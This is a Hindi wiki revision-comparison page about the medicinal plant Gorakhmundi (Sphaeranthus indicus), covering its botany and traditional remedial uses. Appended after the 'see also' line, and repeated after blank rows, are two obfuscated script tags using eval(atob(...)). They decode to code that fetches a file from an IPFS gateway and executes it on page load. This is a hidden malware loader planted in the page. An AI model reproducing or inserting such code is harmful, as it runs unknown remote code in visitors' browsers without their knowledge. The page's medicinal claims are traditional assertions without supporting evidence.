"गोरखमुंडी" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
(''''गोरखमुंडी''' कंपोज़िटी<ref>Compositae</ref> कुल की 'स्फ़ीरैंथस इ...' के साथ नया पन्ना बनाया) |
|||
पंक्ति 1: | पंक्ति 1: | ||
− | '''गोरखमुंडी''' कंपोज़िटी<ref>Compositae</ref> कुल की 'स्फ़ीरैंथस इंडिकस'<ref>Sphaeranthus Indicus</ref> नामक वनस्पति है, जिसे प्रादेशिक भाषाओं में 'मुंडी' या 'गोरखमुंडी' और [[संस्कृत]] में 'मुंडिका' अथवा 'श्रावणी' कहते हैं।<ref>{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%97%E0%A5%8B%E0%A4%B0%E0%A4%96%E0%A4%AE%E0%A5%81%E0%A4%82%E0%A4%A1%E0%A5%80 |title=गोरखमुंडी|accessmonthday=28 मार्च|accessyear=2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | + | '''गोरखमुंडी''' [[कंपोज़िटी]]<ref>Compositae</ref> कुल की 'स्फ़ीरैंथस इंडिकस'<ref>Sphaeranthus Indicus</ref> नामक वनस्पति है, जिसे प्रादेशिक भाषाओं में 'मुंडी' या 'गोरखमुंडी' और [[संस्कृत]] में 'मुंडिका' अथवा 'श्रावणी' कहते हैं।<ref>{{cite web |url=http://khoj.bharatdiscovery.org/india/%E0%A4%97%E0%A5%8B%E0%A4%B0%E0%A4%96%E0%A4%AE%E0%A5%81%E0%A4%82%E0%A4%A1%E0%A5%80 |title=गोरखमुंडी|accessmonthday=28 मार्च|accessyear=2014|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> |
*गोरखमुंडी एक वर्षीय, प्रसर वनस्पति है, जो [[धान]] के खेतों तथा अन्य नम स्थानों में [[वर्षा]] के बाद निकलती है। | *गोरखमुंडी एक वर्षीय, प्रसर वनस्पति है, जो [[धान]] के खेतों तथा अन्य नम स्थानों में [[वर्षा]] के बाद निकलती है। |
12:59, 18 मई 2014 का अवतरण
गोरखमुंडी कंपोज़िटी[1] कुल की 'स्फ़ीरैंथस इंडिकस'[2] नामक वनस्पति है, जिसे प्रादेशिक भाषाओं में 'मुंडी' या 'गोरखमुंडी' और संस्कृत में 'मुंडिका' अथवा 'श्रावणी' कहते हैं।[3]
- गोरखमुंडी एक वर्षीय, प्रसर वनस्पति है, जो धान के खेतों तथा अन्य नम स्थानों में वर्षा के बाद निकलती है।
- यह किंचित लसदार, रोमश और गंध युक्त होती है।
- इसमें कांड पक्षयुक्त, पत्र विनाल, कांडलग्न और प्राय: व्यस्त लट्वाकार[4] और पुष्प सूक्ष्म 'किरमजी'[5] रंग के और मुंडकाकार व्यूह में पाए जाते हैं।
- गोरखमुंडी के मूल, पुष्प व्यूह अथवा पंचाग का चिकित्सा में व्यवहार होता है। यह कटुतिक्त, उष्ण, दीपक, कृमिघ्न, मूत्रजनक रसायन और वात तथा रक्त विकारों में उपयोगी मानी जाती है।
- इसमें कालापन लिए हुए लाल रंग का तेल और कड़वा सत्व होता है।
- इसका तेल त्वचा और वृक्क द्वारा नि:सारित होता है, अत: इसके सेवन से पसीने और मूत्र में एक प्रकार की गंध आने लगती है। मूत्रजनक होने और मूत्रमार्ग का शोधन करने के कारण मूत्रेंद्रिय के रोगों में इससे अच्छा लाभ होता है।
- गोरखमुंडी के अधिक दिन सेवन करने से फोड़े-फुन्सी का बारंबार निकलना बंद हो जाता है। यह अपची, अपस्मार, श्लीपद और प्लीहा रोगों में भी उपयोगी मानी जाती है।
इन्हें भी देखें: अश्वगंधा, कंटकारी, कुष्मांड, पुदीना एवं लौंग<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>